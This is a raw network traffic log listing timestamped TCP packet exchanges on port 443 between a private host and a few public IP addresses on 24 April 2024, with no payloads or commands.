Apr 24, 2024 15:42:55.849056005 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.849076033 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.849116087 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.850725889 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.850749969 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.850807905 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.850820065 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.850864887 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.851118088 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.851135969 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.851181984 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.851187944 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.851217031 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.851236105 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.851406097 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.851425886 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.851475954 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.851481915 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.851517916 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.851701975 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.851722956 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.851756096 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.851761103 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.851808071 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.851989985 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.852010965 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.852061033 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.852066040 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.852108002 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.852333069 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.852353096 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.852408886 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.852416039 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.852437973 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.852477074 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.852736950 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.852756023 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.852801085 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.852807045 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.852838039 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.854188919 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.854209900 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.854296923 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.854304075 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.854357004 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.854549885 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.854572058 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.854619980 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.854625940 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.854665995 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.854996920 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855026960 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855035067 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.855041981 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855056047 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.855107069 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.855232954 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855251074 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855294943 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.855299950 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855319023 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.855340004 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.855529070 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855549097 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855602026 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.855607033 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855638981 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.855840921 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855859995 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855891943 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.855897903 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.855923891 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.855942965 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.856148005 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856168032 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856225967 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.856230974 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856267929 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.856441975 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856462002 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856501102 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.856506109 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856539965 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.856765032 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856786966 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856848955 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.856854916 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856875896 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.856900930 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.856908083 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856961012 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.856971025 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.856997967 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.857007980 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.857039928 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.857255936 CEST	49728	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.857275009 CEST	443	49728	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.878483057 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.885027885 CEST	49729	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.885065079 CEST	443	49729	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.885138988 CEST	49729	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.885415077 CEST	49729	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.885426998 CEST	443	49729	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.899808884 CEST	49730	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.899852991 CEST	443	49730	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.899936914 CEST	49730	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.900203943 CEST	49730	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:55.900218964 CEST	443	49730	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:55.920115948 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.376293898 CEST	443	49729	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.376601934 CEST	49729	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.376621962 CEST	443	49729	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.378055096 CEST	443	49729	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.378132105 CEST	49729	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.378418922 CEST	49729	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.378492117 CEST	443	49729	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.378570080 CEST	49729	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.378576994 CEST	443	49729	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.391994953 CEST	443	49730	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.392263889 CEST	49730	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.392297029 CEST	443	49730	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.392781019 CEST	443	49730	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.393081903 CEST	49730	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.393193007 CEST	49730	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.393199921 CEST	443	49730	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.419056892 CEST	49729	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.419387102 CEST	49675	443	192.168.2.17	204.79.197.203
Apr 24, 2024 15:42:56.435296059 CEST	49730	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.435322046 CEST	443	49730	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477035046 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477071047 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477073908 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477113008 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477125883 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477128983 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477291107 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.477291107 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.477324009 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477338076 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477356911 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477365971 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477380037 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.477391005 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.477421045 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.478646994 CEST	49726	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.478662968 CEST	443	49726	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.485838890 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.485876083 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.485943079 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.486318111 CEST	49732	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.486361980 CEST	443	49732	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.486424923 CEST	49732	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.486593008 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.486604929 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.486745119 CEST	49732	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.486754894 CEST	443	49732	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.518014908 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.518053055 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.518127918 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.518419027 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.518431902 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.636935949 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.636992931 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.637069941 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.637295961 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.637310028 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.758337021 CEST	443	49729	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.758502960 CEST	443	49729	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.758671999 CEST	49729	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.759135962 CEST	49729	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.759157896 CEST	443	49729	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.874787092 CEST	443	49730	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.874980927 CEST	443	49730	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.875133038 CEST	49730	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.875660896 CEST	49730	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.875685930 CEST	443	49730	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.915899992 CEST	49735	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.915934086 CEST	443	49735	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.916048050 CEST	49735	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.916251898 CEST	49735	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.916263103 CEST	443	49735	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.965079069 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:56.965167999 CEST	443	49736	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:56.965260029 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:56.966087103 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:56.966125011 CEST	443	49736	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:56.971801043 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.972057104 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.972081900 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.972572088 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.972862959 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:56.972933054 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:56.972997904 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.008008003 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.008348942 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.008366108 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.012157917 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.012253046 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.012522936 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.012645006 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.012650967 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.012716055 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.020114899 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.058056116 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.058078051 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.106079102 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.134998083 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.135262966 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.135324955 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.139130116 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.139226913 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.139467955 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.139580011 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.139640093 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.186180115 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.186203003 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.234143019 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.414112091 CEST	443	49735	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.414525986 CEST	49735	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.414545059 CEST	443	49735	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.415405989 CEST	443	49735	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.415491104 CEST	49735	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.415754080 CEST	49735	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.415808916 CEST	443	49735	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.415883064 CEST	49735	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.415889978 CEST	443	49735	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.458060980 CEST	49735	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.619398117 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.619440079 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.619472980 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.619498968 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.619508982 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.619513035 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.619647026 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.619647026 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.619673967 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.619721889 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.619921923 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.619934082 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.619960070 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.620003939 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.620011091 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.620027065 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.620037079 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.620079994 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.620503902 CEST	49734	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.620517969 CEST	443	49734	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.637609959 CEST	443	49736	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:57.637949944 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.637979984 CEST	443	49736	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:57.639673948 CEST	443	49736	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:57.639746904 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.640582085 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.640671968 CEST	443	49736	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:57.640757084 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.640767097 CEST	443	49736	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:57.696038961 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.736890078 CEST	443	49735	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.737088919 CEST	443	49735	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.737257004 CEST	49735	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.737685919 CEST	49735	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:57.737699032 CEST	443	49735	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:57.869988918 CEST	443	49736	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:57.870233059 CEST	443	49736	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:57.870337009 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.870538950 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.870559931 CEST	443	49736	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:57.870573997 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.870608091 CEST	49736	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.871453047 CEST	49737	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.871493101 CEST	443	49737	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:57.871562958 CEST	49737	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.871906996 CEST	49737	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:57.871932030 CEST	443	49737	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:58.005909920 CEST	443	49732	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.006299973 CEST	49732	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.006360054 CEST	443	49732	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.007539034 CEST	443	49732	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.007863045 CEST	49732	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.007992029 CEST	49732	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.008004904 CEST	443	49732	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.008047104 CEST	443	49732	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.061211109 CEST	49732	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.434364080 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.434432983 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.434477091 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.434525967 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.434598923 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.434636116 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.434679985 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.438251972 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.438319921 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.438349009 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.438364029 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.438391924 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.438411951 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.535053015 CEST	443	49737	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:58.535334110 CEST	49737	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:58.535363913 CEST	443	49737	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:58.536556959 CEST	443	49737	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:58.536863089 CEST	49737	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:58.536998987 CEST	49737	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:58.537010908 CEST	443	49737	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:58.537040949 CEST	443	49737	52.146.76.30	192.168.2.17
Apr 24, 2024 15:42:58.587038994 CEST	49737	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:42:58.594238997 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.594418049 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.594419956 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.594525099 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.594739914 CEST	49731	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.594773054 CEST	443	49731	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.597508907 CEST	49738	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.597599030 CEST	443	49738	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.597693920 CEST	49738	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.597893000 CEST	49738	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.597928047 CEST	443	49738	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.901904106 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.901933908 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.901945114 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.901968002 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.902002096 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.902005911 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.902151108 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.902151108 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.902194977 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.902209997 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.902240038 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.902252913 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.902264118 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.902270079 CEST	443	49733	13.107.246.69	192.168.2.17
Apr 24, 2024 15:42:58.902281046 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:58.902312994 CEST	49733	443	192.168.2.17	13.107.246.69
Apr 24, 2024 15:42:59.037604094 CEST	443	49737	52.146.76.30	192.168.2.17
